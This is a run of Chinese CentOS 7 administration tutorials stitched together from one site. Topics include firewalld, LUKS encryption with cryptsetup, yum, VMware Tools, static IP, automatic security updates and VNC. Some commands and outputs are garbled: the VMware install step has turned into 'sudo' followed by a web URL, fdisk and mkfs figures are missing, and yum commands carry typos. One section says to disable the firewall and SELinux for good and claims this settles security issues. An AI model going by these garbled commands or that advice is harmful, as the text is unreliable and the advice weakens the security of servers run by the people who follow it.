systemctl disable firewalld 关闭服务: systemctl stop firewalld 关闭 3.systemctl命令 知识兔 systemctl是CentOS7的服务管理工具中主要的工具,它融合之前service和chkconfig的功能于一体。使用方法如下: 启动一个服务:systemctl start firewalld.service关闭一个服务:systemctl stop firewalld.service重启一个服务:systemctl restart firewalld.service显示一个服务的状态:systemctl status firewalld.service在开机时启用一个服务:systemctl enable firewalld.service在开机时禁用一个服务:systemctl disable firewalld.service查看服务是否开机启动:systemctl is-enabled firewalld.service查看已启动的服务列表:systemctl list-unit-files|grep enabled查看启动失败的服务列表:systemctl --failed 注意:CentOS7 以下版本是用iptables为防火墙服务的。 以上就是详解CentOS7防火墙设置的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍centos7基于luks对磁盘进行加密的方法,希望对需要的朋友有所帮助! centos7基于luks对磁盘进行加密 LUKS(Linux Unified Key Setup)为Linux硬盘加密提供了一种标准,它不仅能通用于不同的Linux发行版本,还支持多用户/口令。因为它的加密密钥独立于口令,所以如果口令失密,我们可以迅速改变口令而无需重新加密真个硬盘。通过提供一个标准的磁盘上的格式,它不仅方便之间分布的兼容性,而且还提供了多个用户密码的安全管理。必须首先对加密的卷进行解密,才能挂载其中的文件系统。 工具:cryptsetup(默认已经安装) [root@node1 ~]# cryptsetup --helpcryptsetup 1.7.4用法: cryptsetup [选项…] <动作> <动作特定参数> --version 打印软件包版本 -v, --verbose 显示更详细的错误信息 --debug 显示调试信息 -c, --cipher=STRING 用于加密磁盘的密文(参见 /proc/crypto) -h, --hash=STRING 用于从密码创建加密密钥的哈希值 -y, --verify-passphrase 两次询问密码以进行验证 -d, --key-file=STRING 从文件读取密钥。 --master-key-file=STRING 从文件读取卷(主)密钥。 --dump-master-key 转储卷(主)密钥而不是键槽信息。 -s, --key-size=位 加密密钥大小 -l, --keyfile-size=字节 限制从密钥文件读取 --keyfile-offset=字节 要从密钥文件跳过的字节数 --new-keyfile-size=字节 限制从新增密钥文件的读取 --new-keyfile-offset=字节 要从新增密钥文件跳过的字节数 -S, --key-slot=INT 新密钥的槽号(默认为第一个可用的) -b, --size=扇区 设备大小 -o, --offset=扇区 后端设备的起始偏移量 -p, --skip=扇区 从开头要跳过的加密数据扇区数量 -r, --readonly 创建只读映射 -i, --iter-time=毫秒 LUKS 默认 PBKDF2 迭代时间(毫秒) -q, --batch-mode 不要请求确认 -t, --timeout=秒 交互式密码提示符超时长度(秒) -T, --tries=INT 输入密码的最大重试频率 --align-payload=扇区 于 <n> 个扇区边界处对其载荷数据 - 供 luks 格式用 --header-backup-file=STRING 带有 LUKS 数据头和密钥槽备份的文件。 --use-random 使用 /dev/random 生成卷密钥。 --use-urandom 使用 /dev/urandom 生成卷密钥。 --shared 与另一个不重合的加密段共享设备。 --uuid=STRING 设备使用的 UUID 已占用。 --allow-discards 允许设备的 discard(或称 TRIM)请求。 --header=STRING 带有分离 LUKS 数据头的设备或文件。 --test-passphrase 不要激活设备,仅检查密码。 --tcrypt-hidden 使用隐藏数据头(隐藏 TCRYPT 设备) --tcrypt-system 设备为系统 TCRYPT 驱动器(带有引导器)。 --tcrypt-backup 使用备份(次级)TCRYPT 标头。 --veracrypt 同时扫描 VeraCrypt 兼容的设备。 -M, --type=STRING 设备元数据类型:luks, 纯粹 (plain), loopaes, tcrypt. --force-password 禁用密码质量检查 (如果已启用)。 --perf-same_cpu_crypt 使用 dm-crypt same_cpu_crypt 性能兼容性选项。 --perf-submit_from_crypt_cpus 使用 dm-crypt submit_from_crypt_cpus 性能兼容性选项。帮助选项: -?, --help 显示此帮助 --usage 显示简短用法<动作> 为其中之一: open <设备> [--type <类型>] [<名称>] - 以映射 <名称> 打开设备 close <名称> - 关闭设备(移除映射) resize <名称> - 改变活动设备大小。 status <名称> - 显示设备状态 benchmark [--cipher <cipher>] - 测试密文 repair <设备> - 尝试修复磁盘上的元数据 erase <设备> - 清空所有密钥槽(移除加密密钥) luksFormat <设备> [<新密钥文件>] - 格式化一个 LUKS 设备 luksAddKey <设备> [<新密钥文件>] - 向 LUKS 设备添加密钥 luksRemoveKey <设备> [<密钥文件>] - 移除 LUKS 设备中指定的密钥或密钥文件 luksChangeKey <设备> [<密钥文件>] - 更改 LUKS 设备中指定的密钥或密钥文件 luksKillSlot <设备> <密钥槽> - 从 LUKS 设备清理标号为 <key slot> 的密钥 luksUUID <设备> - 输出 LUKS 设备的 UUID(唯一标识符) isLuks <设备> - 从 <device> 探测 LUKS 分区标头 luksDump <设备> - 调出 LUKS 分区信息 tcryptDump <设备> - 调出 TCRYPT 设备信息 luksSuspend <设备> - 挂起 LUKS 设备并清除密钥(冻结所有 IO 操作)。 luksResume <设备> - 恢复已暂停的 LUKS 设备。 luksHeaderBackup <设备> - 备份 LUKS 设备标头和密钥槽 luksHeaderRestore <设备> - 恢复 LUKS 设备标头和密钥槽你亦可使用老的 <动作> 语法别名: open: create (plainOpen), luksOpen, loopaesOpen, tcryptOpen close: remove (plainClose), luksClose, loopaesClose, tcryptClose<name> 为要在 /dev/mapper 创建的设备<device> 为加密设备<key slot> 为需要更改的 LUKS 密钥槽<key file> 提供给 luksAddKey 动作的密钥文件默认集成的密钥和密码参数: 密钥文件的最大大小:8192kB, 交互式密码的最大长度:512 (字符)LUKS 的默认 PBKDF2 迭代时间:2000 (毫秒)默认集成的设备密文参数: loop-AES:aes, 256 位密钥 plain:aes-cbc-essiv:sha256, 密钥:256 位, 密码哈希:ripemd160 LUKS1:aes-xts-plain64, 密钥:256 bits, LUKS 数据头哈希:sha256, RNG:/dev/urandom 1. 环境 OS: centos7Kernel: 3.10.0-693.el7.x86_64tools: cryptsetup.x86_64 0:1.7.4-4.el7 2. 创建加密分区 首先,我们添加一块硬盘/dev/sdb作为测试用,如下: [root@node1 ~]# fdisk -l磁盘 /dev/sdb:8589 MB, 字节, 个扇区Units = 扇区 of 1 * 512 = 512 bytes扇区大小(逻辑/物理):512 字节 / 512 字节I/O 大小(最小/最佳):512 字节 / 512 字节磁盘 /dev/sda:8589 MB, 字节, 个扇区Units = 扇区 of 1 * 512 = 512 bytes扇区大小(逻辑/物理):512 字节 / 512 字节I/O 大小(最小/最佳):512 字节 / 512 字节磁盘标签类型:dos磁盘标识符:0x000bfe7f设备 Boot Start End Blocks Id System/dev/sda1 * 2048 83 Linux/dev/sda2 8e Linux LVM磁盘 /dev/mapper/centos-root:6652 MB, 字节, 个扇区Units = 扇区 of 1 * 512 = 512 bytes扇区大小(逻辑/物理):512 字节 / 512 字节I/O 大小(最小/最佳):512 字节 / 512 字节磁盘 /dev/mapper/centos-swap:859 MB, 字节, 个扇区Units = 扇区 of 1 * 512 = 512 bytes扇区大小(逻辑/物理):512 字节 / 512 字节I/O 大小(最小/最佳):512 字节 / 512 字节 下来我们格式化加密分区 [root@node1 ~]# cryptsetup luksFormat /dev/sdbWARNING!========这将覆盖 /dev/sdb 上的数据,该动作不可取消。Are you sure? (Type uppercase yes): YES # 注意这里必须是大写的YES输入密码:确认密码: 5. 利用 key file 加密分区 除了密码之外,还可以选择使用 key file 解密你的硬盘,也就是相当于一个密钥,当然可以也可以只使用 key file 或者同时使用密码与 key file5.1 生成随机 key file [root@node1 ~]# dd if=/dev/urandom of=/root/enc.key bs=1 count=4096记录了4096+0 的读入记录了4096+0 的写出4096字节(4.1 kB)已复制,0.00 秒,423 kB/秒[root@node1 ~]# lsanaconda-ks.cfg enc.key kubernetes5.2 添加 key file 作为密码之一 [root@node1 ~]# cryptsetup luksAddKey /dev/sdb /root/enc.key 输入任意已存在的密码:6. 移除解密密码 移除普通密码 [root@node1 ~]# cryptsetup luksRemoveKey /dev/sdb输入要移除的密码: 移除 key file 密码 [root@node1 ~]# cryptsetup luksRemoveKey -d /root/enc.key /dev/sdbWARNING!========这是最后一个密钥槽。设备在清空此密钥后将不可用。Are you sure? (Type uppercase yes): YES 注意:千万不要将所有密码移除,至少需要留有一个密码访问设备,移除操作不可撤销 7. 分区映射与挂载 7.1 分区映射 [root@node1 ~]# cryptsetup luksOpen /dev/sdb data2输入 /dev/sdb 的密码:7.2 key file分区映射 也可以通过key file做映射 [root@node1 ~]# cryptsetup luksOpen -d /root/enc.key /dev/sdb data27.3 创建文件系统 在挂载使用之前,我们仍然需要对设备创建文件系统才可以使用,可以选择任何你喜欢的文件系统,例如 btrfs,ext4,vfat,ntfs等 [root@node1 ~]# mkfs.ext4 /dev/mapper/data2 mke2fs 1.42.9 (28-Dec-2013)文件系统标签=OS type: Linux块大小=4096 (log=2)分块大小=4096 (log=2)Stride=0 blocks, Stripe width=0 blocks inodes, blocks blocks (5.00%) reserved for the super user第一个数据块=0Maximum filesystem blocks=4 block groups blocks per group, fragments per group8192 inodes per groupSuperblock backups stored on blocks: , , , , , , , Allocating group tables: 完成 正在写入inode表: 完成 Creating journal ( blocks): 完成Writing superblocks and filesystem accounting information: 完成7.4 挂载 现在可以像正常分区一样挂载我们的加密分区设备了 [root@node1 ~]# mkdir /data2[root@node1 ~]# mount /dev/mapper/data2 /data2[root@node1 ~]# df -h文件系统 容量 已用 可用 已用% 挂载点/dev/mapper/centos-root 6.2G 1.8G 4.5G 28% /devtmpfs 4.4G 0 4.4G 0% /devtmpfs 4.4G 0 4.4G 0% /dev/shmtmpfs 4.4G 8.5M 4.4G 1% /runtmpfs 4.4G 0 4.4G 0% /sys/fs/cgroup/dev/sda1 1014M 143M 872M 15% /boottmpfs 883M 0 883M 0% /run/user/0/dev/mapper/data2 7.8G 36M 7.3G 1% /data27.5 卸载挂载点并关闭加密分区 [root@node1 /]# umount /data2[root@node1 /]# cryptsetup luksClose data2 8. 总结 在完成整个步骤以后,您现在需要做的就是妥善保管您的加密存储,可采用同样的方式加密多个设备进行备份,因为谁也不能保证这移动设备会不会在什么时候丢掉。 以上就是详解centos7基于luks对磁盘进行加密的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍查看CentOS7版本信息的方法的方法,希望对需要的朋友有所帮助! 1. 查看版本号 知识兔 CentOS的版本号信息一般存放在配置文件当中,在CentOS中,与其版本相关的配置文件中都有centos关键字,该文件一般存放在/etc/目录下,所以说我们可以直接在该文件夹下搜索相关的文件。 ll /etc/*centos* 查看的结果: 其中存放其版本配置信息的文件为“centos-release”,翻译过来就是“CentOS的发行版”,所以说我们可以在这里查看CentOS相应的版本信息。 查看CentOS的版本号: cat /etc/centos-release 显示结果: CentOS Linux release 7.3.1611 (Core) 2. 查看内核版本 知识兔 查询操作系统内核版本信息为: uname -r 查询结果: 3.10.0-514.26.2.el7.x86_64 3. 查看操作系统位数 知识兔 查看指令为: getconf LONG_BIT 显示的结果为: 64 以上就是查看CentOS7版本信息的方法的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍centos部署tomcat,远程禁止访问解决的方法,希望对需要的朋友有所帮助! 部署tomcat 1.网站下载的tomcat压缩包,利用scp命令上传到服务器,然后解压到/usr/local目录下,关于scp使用如下:将客户端数据传入服务器 服务器端的数据传入到客户端 2.部署好以后,然后去访问tomcat连接,本地端访问localhost:8080,成功,远程ping 172.28.162.62:8080 提示找不到主机发现远程拒绝访问,解决思路如下: 1.查看tomcat进程信息:2.查看进程号所占用的端口号:发现端口号无问题,所以应该从其他地方查问题;3.检查Linux防火墙是否开放tomcat端口:如果没有设置过,Tomcat端口号默认是被禁用状态,因为Linux端口只会默认开放22号端口 你需要设置防火墙,开放端口访问权限(不建议直接关闭防火墙) 设置开放端口命令:4.重启防火墙 以上就是关于centos部署tomcat,并解决远程禁止访问的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍CentOS yum的详细使用方法,希望对需要的朋友有所帮助! CentOS yum的详细使用方法 yum是什么 yum = Yellow dog Updater, Modified 主要功能是更方便的添加/删除/更新RPM包. 它能自动解决包的倚赖性问题. 它能便于管理大量系统的更新问题 yum特点 可以同时配置多个资源库(Repository) 简洁的配置文件(/etc/yum.conf 自动解决增加或删除rpm包时遇到的倚赖性问题 使用方便 保持与RPM数据库的一致性 yum安装 CentOS自带(yum-*.noarch.rpm) #rpm -ivh yum-*.noarch.rpm 在第一次启用yum之前首先需要导入系统的RPM-GPG-KEY: #rpm --import /usr/share/doc/centos-release-3(4)/RPM-GPG-KEY-CentOS-3(4) yum指令 注:当第一次使用yum或yum资源库有更新时,yum会自动下载所有所需的headers放置于/var/cache/yum目录下,所需时间可能较长. rpm包的更新 检查可更新的rpm包 #yum check-update 更新所有的rpm包 #yum update 更新指定的rpm包,如更新kernel和kernel source #yum update kernel kernel-source 大规模的版本升级,与yum update不同的是,连旧的淘汰的包也升级 #yum upgrade rpm包的安装和删除 安装rpm包,如xmms-mp3 #yum install xmms-mp3 删除rpm包,包括与该包有倚赖性的包 #yum remove licq 注:同时会提示删除licq-gnome,licq-qt,licq-text yum暂存(/var/cache/yum/)的相关参数 清除暂存中rpm包文件 #yum clean packages 清除暂存中rpm头文件 #yum clearn headers 清除暂存中旧的rpm头文件 #yum clean oldheaders 清除暂存中旧的rpm头文件和包文件 #yum clearn 或#yum clearn all 注:相当于yum clean packages + yum clean oldheaders 包列表 列出资源库中所有可以安装或更新的rpm包 #yum list 列出资源库中特定的可以安装或更新以及已经安装的rpm包 #yum list mozilla#yum list mozilla* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包 列出资源库中所有可以更新的rpm包 #yum list updates 列出已经安装的所有的rpm包 #yum list installed 列出已经安装的但是不包含在资源库中的rpm包 #yum list extras 注:通过其它网站下载安装的rpm包 rpm包信息显示(info参数同list) 列出资源库中所有可以安装或更新的rpm包的信息 #yum info 列出资源库中特定的可以安装或更新以及已经安装的rpm包的信息 #yum info mozilla#yum info mozilla* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包的信息 列出资源库中所有可以更新的rpm包的信息 #yum info updates 列出已经安装的所有的rpm包的信息 #yum info installed 列出已经安装的但是不包含在资源库中的rpm包的信息 #yum info extras 注:通过其它网站下载安装的rpm包的信息 搜索rpm包 搜索匹配特定字符的rpm包 #yum search mozilla 注:在rpm包名,包描述等中搜索 搜索有包含特定文件名的rpm包 #yum provides realplay 增加资源库 例如:增加rpm.livna.org作为资源库 安装Livna.org rpms GPG key #rpm --import http://rpm.livna.org/RPM-LIVNA-GPG-KEY 检查GPG Key # rpm -qa gpg-pubkey* 显示Key信息 #rpm -qi gpg-pubkey-a109b1ec-3f6e28d5 (注:如果要删除Key,使用#rpm -e gpg-pubkey-a109b1ec-3f6e28d5) yum常用的命令 # yum install xxx 安装xxx软件# yum info xxx 查看xxx软件的信息# yum remove xxx 删除软件包# yum list 列出软件包# yum clean 清除缓冲和就的包# yum provides xxx 以xxx为关键字搜索包(提供的信息为关键字)# yum search xxx 搜索软件包(以名字为关键字)# yum groupupdate xxx# yum grouplist xxx# yum groupremove xxx 这三个都是一组为单位进行升级 列表和删除的操作。。比如 "Mysql Database"就是一个组会同时操作相关的所有软件包; # yum update 系统升级# yum list available 列出所有升级源上的包;# yum list updates 列出所有升级源上的可以更新包;# yum list installed 列出已经安装的包;# yun update kernel 升级内核; yum常用的源 1) 自动选择最快的源 由于yum中有的mirror速度是非常慢的,如果yum选择了这个mirror,这个时候yum就会非常慢,对此,可以下载fastestmirror插件,它会自动选择最快的mirror: #yum install yum-fastestmirror 配置文件:(一般不用动)/etc/yum/pluginconf.d/fastestmirror.conf 你的yum镜像的速度测试记录文件:/var/cache/yum/timedhosts.txt (2)使用图形界面的yum 如果觉得命令行的yum不方便,那么可以使用图形化的yumex,这个看起来更方便,因为可以自由地选择软件仓库: #yum install yumex 然后在系统工具中就可以看到yum extender了。实际上系统自带的“添加/删除程序“也可以实现图形化的软件安装,但有些yumex的功能它没有。 以上就是教你使用CentOS yum的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍centos支持复制与粘贴,希望对需要的朋友有所帮助! centos 要支持与主机的交互,vmtools 必不可少。为了方便虚拟机和主机之间复制粘贴文件,拖拽文件,需要安装VMwareTools。下面将我的安装步骤记录如下:第一步:打开虚拟机后,在VM的工具栏中点虚拟机——安装VMwareTools(T)...接着CentOS系统会自动挂载VMWare Tools,并自动打开,如下图所示:第二步:为了方便,把VMwareTools-9.9.0-.tar.gz拖到桌面上进行操作。第三步:在桌面上点击右键,选择“在终端中打开”,如下图:第四步,需要解压VMwareToo 为了方便虚拟机和主机之间复制粘贴文件,拖拽文件,需要安装VMware Tools。 下面将我的安装步骤记录如下: 第一步:打开虚拟机后,在VM的工具栏中点虚拟机——安装VMware Tools(T)...接着CentOS系统会自动挂载VMWare Tools,并自动打开,如下图所示: 第二步:为了方便,把VMware Tools-9.9.0-.tar.gz拖到桌面上进行操作。 第三步:在桌面上点击右键,选择“在终端中打开”,如下图: 第四步,需要解压VMware Tools-9.9.0-.tar.gz,如下图,执行命令tar -xzv -fVMware Tools-9.9.0-.tar.gz,注意文件名可以用TAB键补齐。 解压完毕后会在桌面上生成一个文件夹,如下图: 第五步:进入到解压得到的目录中.执行命令 cd vmware-tools-distrib/ ,如下图所示: 第六步:执行安装命令,sudo https://xiaotua.com/103/vmware-install.pl,如下图: 之后只需要一路按【Enter】回车键即可,当然如果你理解每个选项的功能,也可以自定义,不过一般默认即可,当看到如下图字符显示时,表示安装完成 然后就可以使用复制粘贴 主机<----->centos 3.使用共享文件夹传输数据 在自己建立的win7系统中的共享文件夹中存放一些文件,然后在linux系统中访问,其中Linux中的访问路径为:/mnt/hgfs/自己建立的文件夹名称 比如我在win7上建立的共享文件夹名称为shareFolder,则我的操作如下: [root@master shareFolder]# cd /mnt/hgfs/shareFolder/ 在这个目录下就能看win7上的文件,也可以从linux中拷贝文件到这个目录,则在win7上也能看见。 但是一般我们都使用xftp5进行数据的传输,但是复制粘贴还是必不可少的,所以还是装一个vimtools吧! 图省事,直接设置运行级别为3,图形化点几下就行了,解压的话在终端内部打开就OK 以上就是关于 centos 支持复制与粘贴的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍怎么在CentOS7上安装桌面环境,希望对需要的朋友有所帮助! 1.安装 GNOME-Desktop 知识兔安装GNOME桌面环境 # yum -y groups install "GNOME Desktop" 完成安装后,使用如下命令启动桌面 # startx 首次启动,进行一些初始设置选择系统语言选择键盘类型添加在线用户(可选)开始使用 启动后的桌面环境,如下所示: 如何使用GNOME Shell? CentOS 7的默认GNOME桌面以经典模式开始,但如果您想使用GNOME Shell,请设置如下: 方式一:如果以 startx 命令启动GNOME,设置如下: # echo "exec gnome-session" >> ~/.xinitrc# startx 方式二:通过 systemctl set-default graphical.target 命令设置图形化界面登陆并重启系统。系统启动后 单击“登录”按钮旁边的按钮。 在列表中选择“GNOME”。(默认为GNOME Classic模式) 使用GNOME Shell登录。 GNOME shell的启动后,如下所示: 以上就是在CentOS7上安装桌面环境的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍关于CentOS 8 将停止维护了,希望对需要的朋友有所帮助! 12 月 8 日,CentOS 开发团队在其官博宣布,CentOS 8 将在 2021 年底结束支持,CentOS 7 由于用户基数与用户贡献较多,因此会按照计划维护至生命周期结束即 2024 年 6 月 30 日,接下来一年会把重心放到 CentOS Stream 上。 相关推荐:《linux视频教程》截图 CentOS 官博 短命的 CentOS 8 知识兔 CentOS 8 于 2019 年 9 月 24 日正式发布,此版本与之前的包库不同,主要分为两个,一个为 BaseOS 和 AppStream,并且开始使用 dnf 作为管理包的程序。虽然 CentOS 8 是最新版本,但目前使用较为广泛的版本则是 CentOS 7。因此很多企业用户可能还没升级到该版本,也有人笑称,该版本是一个还没开始就已结束的版本。 红帽官方也晒出了红帽赞助 CentOS Linux 和 CentOS Stream 的时间表:不会有 CentOS Linux 9。CentOS Linux 8 发行版的更新将持续到 2021 年12 月 31 日。CentOS Linux 7 发行版的更新与之前一样,一直持续到 2024 年 6 月 30 日。CentOS Linux 6 发行版的已于 2020 年 11 月 30 日结束。作为 RHEL 9 开发过程的一部分,CentOS Stream 9 将于 2021 年第二季度发布。CentOS Stream 8 发行版的更新将贯穿整个 RHEL 支持阶段。 接班人 CentOS Stream 知识兔 CentOS 开发团队在其官博表示: CentOS 接下来将重点建设 CentOS Stream。在明年,我们将把重点从重建 Red Hat Enterprise Linux(RHEL)的 CentOS Linux 转移到 CentOS Stream,后者紧跟当前 RHEL 版本发布。作为 RHEL的上游项目,CentOS Stream 会定期发布新版本,而在 CentOS Stream 中经过实践与验证通过的功能则会添加到 RHEL中。官方还建议,如果您在生产环境中使用 CentOS Linux 8,并担心 CentOS Stream 不能满足您的需求,建议您与 RedHat 联系以获取选项。 红帽资深副总裁兼 CTO Chris Wright 在《CentOS Stream:为企业Linux构建创新的未来》一文中表示: CentOS Stream 并不是 CentOS Linux 的替代品;相反,它是一个自然的、不可避免的下一步,从而实现项目的目标,即进一步推进企业Linux创新。 Stream 缩短了 RHEL 环境中各个方面的开发人员之间的反馈循环,使得在我们设计RHEL的未来版本时,更容易听到所有的声音,无论是大型合作伙伴还是个人贡献者。 开发者不满 创始人开启新项目 知识兔 然而,CentOS 停止维护消息一出,便引发了广大开发者的强烈不满。 截图自CentOS 官博 对此,CentOS 创始人 Gregory Kurtzer 在 Github 上发起新项目 Rocky Linux(https://github.com/hpcng/rocky),目前 Star 数已过千,并且他还表示: 由于 CentOS 已改变方向,Rocky Linux 是一个社区企业操作系统,旨在与 Red Hat Enterprise Linux 100%兼容。 对此你怎么看? 以上就是CentOS 8 将停止维护了!的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS 7配置静态IP地址的两种方法,希望对需要的朋友有所帮助! 如果你想要为CentOS 7中的某个网络接口设置静态IP地址,有几种不同的方法,这取决于你是否想要使用网络管理器。 网络管理器(Network Manager)是一个动态网络的控制器与配置系统,它用于当网络设备可用时保持设备和连接开启并激活。默认情况下,CentOS/RHEL 7安装有网络管理器,并处于启用状态。 使用下面的命令来验证网络管理器服务的状态: $ systemctl status NetworkManager.service 运行以下命令来检查受网络管理器管理的网络接口: $ nmcli dev status 如果某个接口的nmcli的输出结果是“已连接”(如本例中的enp0s3),这就是说该接口受网络管理器管理。你可以轻易地为某个特定接口禁用网络管理器,以便你可以自己为它配置一个静态IP地址。 下面将介绍在CentOS 7上为网络接口配置静态IP地址的两种方式,在例子中我们将对名为enp0s3的网络接口进行配置。 不使用网络管理配置静态IP地址 进入/etc/sysconfig/network-scripts目录,找到该接口的配置文件(ifcfg-enp0s3)。如果没有,请创建一个。 打开配置文件并编辑以下变量: 在上图中,“NM_CONTROLLED=no”表示该接口将通过该配置文件进行设置,而不是通过网络管理器进行管理。“ONBOOT=yes”告诉我们,系统将在启动时开启该接口。 保存修改并使用以下命令来重启网络服务: # systemctl restart network.service 现在验证接口是否配置正确: # ip add 使用网络管理器配置静态IP地址 如果你想要使用网络管理器来管理该接口,你可以使用nmtui(网络管理器文本用户界面),它提供了在终端环境中配置配置网络管理器的方式。 在使用nmtui之前,首先要在/etc/sysconfig/network-scripts/ifcfg-enp0s3中设置“NM_CONTROLLED=yes”。 现在,请按以下方式安装nmtui。 # yum install NetworkManager-tui 然后继续去编辑enp0s3接口的网络管理器配置: # nmtui edit enp0s3 在下面的屏幕中,我们可以手动输入与/etc/sysconfig/network-scripts/ifcfg-enp0s3中所包含的内容相同的信息。 使用箭头键在屏幕中导航,按回车选择值列表中的内容(或填入想要的内容),最后点击屏幕底部右侧的确定按钮。 最后,重启网络服务。 # systemctl restart network.service 好了,现在一切都搞定了。 以上就是CentOS 7配置静态IP地址的两种方法的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍Centos7操作系统基础环境配置方法,希望对需要的朋友有所帮助! 1.系统防火墙的设置 说明:对于Red Hat内核系列的Linux防火墙上,iptables是系统默认并且唯一的防火墙。但是在Centos系统上是在原有iptables上,只需要管理firewalld并安装iptables的组件进行相关的配置。 (1)使用service firewalld status查看当前防火墙的状态,一般来说在安装完系统以后防火墙处于自动启动状态; (2)关闭防火墙命令(systemctl stop firewalld.service) 关闭完防火墙之后,再次的输入service firewalld status 查看当前防火墙的状态,如下图所示; (3)以上的管理方式只是对当前的方式有效,如果服务器重新启动之后,就不会生效。如果要使配置一直生效,需要使用以下命令;systemctl disable firewalld.service ,如下图所示 总结:通过 以上的三步就可以将Contos操作系统下的防火墙进行管理。如果需要开启防火墙,则需要将原有的stop修改为start,disable修改为enable; 2.SELinux关闭 (1)SELinux是在Linux内核级别上提供一个灵活的强制访问控制系统(MAC),这个强制访问控制系统建立在自由访问控制系统(DAC)上面。DAC是指系统的安全访问控制都是由系统管理员root自由管理的。SELinux为系统的每个用户、进程及文件定义了访问和传输的权限,并对这些对象之间的交互关系设定严格的权限,或者是完全的禁用。然而SELinux对于用户来说是完全透明的,普通用户是完全感觉不到他的存在的,只有系统管理员才需要考虑这些策略。 (2)SELinux提供非常具体的策略,且复位覆盖整个Linux系统。 (3)使用sestatus查看当前的SELinux的服务状态,如下图所示: 当前的SELinux是处于关闭状态的; (4)如果想要关闭SELinux,需要修改配置文件 /etc/selinux/config ,并将SELINUX的值修改文disable即可,如下图所示; 输入source /etc/selinux/config,是修改的配置文件生效,重新查看; 总结:通过关闭防火墙和管理SELinux之后,这样相关的安全性问题一般都是可以解决的; 以上就是详解Centos7操作系统基础环境配置的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS /RHEL 系统更新安全补丁的方法,希望对需要的朋友有所帮助!导读在 Linux 系统上,其中一个最重要的需求就是保持定期更新最新的安全补丁,或者为相应的 Linux 版本更新可用的安全补丁。在这篇文章中,我们将分享如何在 CentOS/RHEL 7/6 版本中设置在需要时自动更新重要的安全补丁。和它同一家族的其它 Linux 版本(Fedora 或 Scientific Linux)中可以用类似的方法进行配置。 在 CentOS/RHEL7 系统上配置自动安全更新 在 CentOS/RHEL 7/6 系统上,你需要安装下面的安装包: # yum update -y ; yum install yum-cron -y 安装完成以后,打开/etc/yum/yum-cron.conf,然后找到下面这些行内容,你必须确保它们的值和下面展示的一样 update_messages = yesdownload_updates = yesapply_updates = yes 第一行表明自动更新命令行应该像这样: # yum --security upgrade 而其它的行保证了能够通知并自动下载、安装安全升级。 为了使来自 root@localhost 的通知能够通过邮件发送给同一账户(再次说明,你可以选择其他账户,如果你想这样的话),下面这些行也是必须的。 emit_via = emailemail_from = root@localhostemail_to = root 在 CentOS/RHEL 6 上启用自动安全更新 默认情况下, cron 任务被配置成了立即下载并安装所有更新,但是我们可以通过在 /etc/sysconfig/yum-cron 配置文件中把下面两个参数改为yes,从而改变这种行为。 # 不要安装,只做检查(有效值: yes|no)CHECK_ONLY=yes# 不要安装,只做检查和下载(有效值: yes|no)# 要求 CHECK_ONLY=yes(先要检查后才可以知道要下载什么)DOWNLOAD_ONLY=yes 为了启用关于安装包更新的邮件通知,你需要把MAILTO 参数设置为一个有效的邮件地址。 # 默认情况下 MAILTO 是没有设置的,crond 会将输出发送邮件给自己# (执行 cron 的用户,这里是 root)# 例子: MAILTO=rootMAILTO=该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。 最后,打开并启用yum-cron 服务: ------------- On CentOS/RHEL 7 -------------systemctl start yum-cronsystemctl enable yum-cron------------- On CentOS/RHEL 6 -------------# service yum-cron start# chkconfig --level 35 yum-cron on 恭喜你,你已经成功的在 CentOS/RHEL 7/6 系统上设置了自动升级。 总结 在这篇文章中,我们讨论了如何保持你的服务器定期更新或升级最新的安全补丁。另外,为了保证当新的补丁被应用时你自己能够知道,你也学习了如何配置邮件通知。 以上就是CentOS /RHEL系统怎么更新安全补丁的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS 7安装GNOME图形界面的方法,希望对需要的朋友有所帮助! 1,安装图形用户接口X Window System,在命令窗口输入: yum groupinstall "X Window System" 安装完成会提示complete! 提示: X Window System本身是一个非常复杂的图形化作业环境,我们可以将它分成3个部分,分别是X Server、X Client和X Protocol。X Server主要是处理输入输出的信息,X Client执行大部分应用程序的运算功能,X Protocol则是建立X Server和X Client的沟通管道。 X Window通过软件工具及架构协议来建立操作系统所用的图形用户界面,此后则逐渐扩展适用到各形各色的其他操作系统上,几乎所有的操作系统都能支持与使用X Window,GNOME和KDE也都是以X Window为基础建构成的。 2,安装图形用界面gnome,在命令窗口输入: yum groupinstall "GNOME Desktop" 安装完成,同样会提示compete! 提示:检查已经安装的软件以及可以安装的软件,用命令yum grouplist 3,同样在root用户权限下,设置centos系统默认的启动方式,输入命令如下: systemctl set-default multi-user.target //设置成命令模式systemctl set-default graphical.target //设置成图形模式 注意:centos7和centos6设置方式不同! 4,重启系统即可。 以上就是详解CentOS 7安装GNOME图形界面的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS7.6服务器部署VNC的方法,希望对需要的朋友有所帮助! CentOS7.6服务器部署VNC 安装vnc服务器 [root@localhost ~]# yum install tigervnc-server 开启vnc [root@localhost ~]# vncserver You will require a password to access your desktops.Password://输入密码Verify://重复密码Would you like to enter a view-only password (y/n)? n//只可看的密码,一般选nA view-only password is not usedxauth: file /root/.Xauthority does not existNew 'localhost.VD:1 (root)' desktop is localhost.VD:1Creating default startup script /root/.vnc/xstartupCreating default config /root/.vnc/configStarting applications specified in /root/.vnc/xstartupLog file is /root/.vnc/localhost.VD:1.log 开启远程端口 [root@localhost ~]# vncserver :1New 'localhost.VD:1 (root)' desktop is localhost.VD:1Starting applications specified in /root/.vnc/xstartupLog file is /root/.vnc/localhost.VD:1.log 查看服务器ip [root@localhost ~]# ifconfig | grep inet inet 10.10.41.43 netmask 255.255.252.0 broadcast 10.10.43.255 inet6 2400:dd01:1001:1040:3b37:b445:ad5b:ad2f prefixlen 64 scopeid 0x0<global> 